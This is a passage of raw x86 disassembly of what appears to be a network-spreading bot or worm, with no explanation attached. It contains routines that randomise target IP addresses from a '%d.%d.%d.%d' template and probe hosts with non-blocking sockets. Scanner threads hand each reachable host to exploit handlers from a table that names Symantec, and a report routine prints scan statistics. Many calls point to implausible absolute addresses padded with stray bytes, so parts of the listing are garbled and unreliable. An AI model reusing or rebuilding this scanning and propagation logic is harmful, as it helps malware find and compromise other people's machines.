		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_437158
		push	eax
		call	sub_41B886
		cmp	dword_436D08, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_437148
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4D0864
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_436D08, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_436D08
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4371A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_437174
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Dh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4D0970[eax*8]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4371F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4371D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_436D14[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4D2A2C
		push	104h
		push	esi
		push	ebx
		mov	dword_4D2C3C, eax
		mov	dword_4D2C38, ebx
		nop
		call	near ptr 2670000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4D2B30
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D2A28, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D2CC0, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2C40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2CC4, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D2C40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2CC4, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D2C3C
		push	offset unk_43178C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4D2C34, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2A28
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, dword_4D2C34
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4D2CC8, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 268086Bh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_437318
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4D0560
		mov	esi, offset dword_4D2CD4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4D2EE4, eax
		mov	dword_4D2EE0, ebx
		nop
		call	near ptr 2670000h
		push	103h
		push	edi
		push	offset dword_4D2DD8
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D2CD0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4D2F68, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2EE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2F6C, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D2EE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2F6C, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D2EE4
		push	offset unk_4372E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4D2EDC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2CD0
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, dword_4D2EDC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4D2F70, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		call	near ptr 268086Bh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4372B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_436D1C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4D356C
		cmp	[ebp+arg_90], bl
		mov	dword_4D2994, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4D2988, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4D2990, ebx
		mov	dword_4D2A18, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2998
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2A1C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D2998
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2A1C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4D2994
		lea	eax, [ebp+var_204]
		push	offset unk_437280
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4D298C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2988
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, dword_4D298C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4D2A20, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 268086Bh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_437248
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_436D18[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4D3204
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4D331C, ebx
		mov	dword_4D3308, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2F7C
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4D2F78, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D3308
		mov	dword_4D3314, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D3318, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4D3310, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2F78
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, dword_4D3310
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4D3324, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		call	near ptr 268086Bh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_437214
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4D0970h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4D074C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4D0820
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D0970[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4D08A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4D0824
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4D08C0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4D07CC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4D080C
		push	esi
		mov	edi, eax
		call	dword_4D08BC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 26907CFh
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_443764[ebx]
		cmp	dword_4D0974[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_443764[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_437374
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_443560[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4D2970
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43734C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4D2970
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_436D0C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2680000h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4D0864
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4D0970[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4D2970
		push	esi
		nop
		call	near ptr 26E086Eh
		push	80000400h
		push	esi
		nop
		call	near ptr 26E06BCh
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_437458
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4D0974[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_437424
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_443764[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
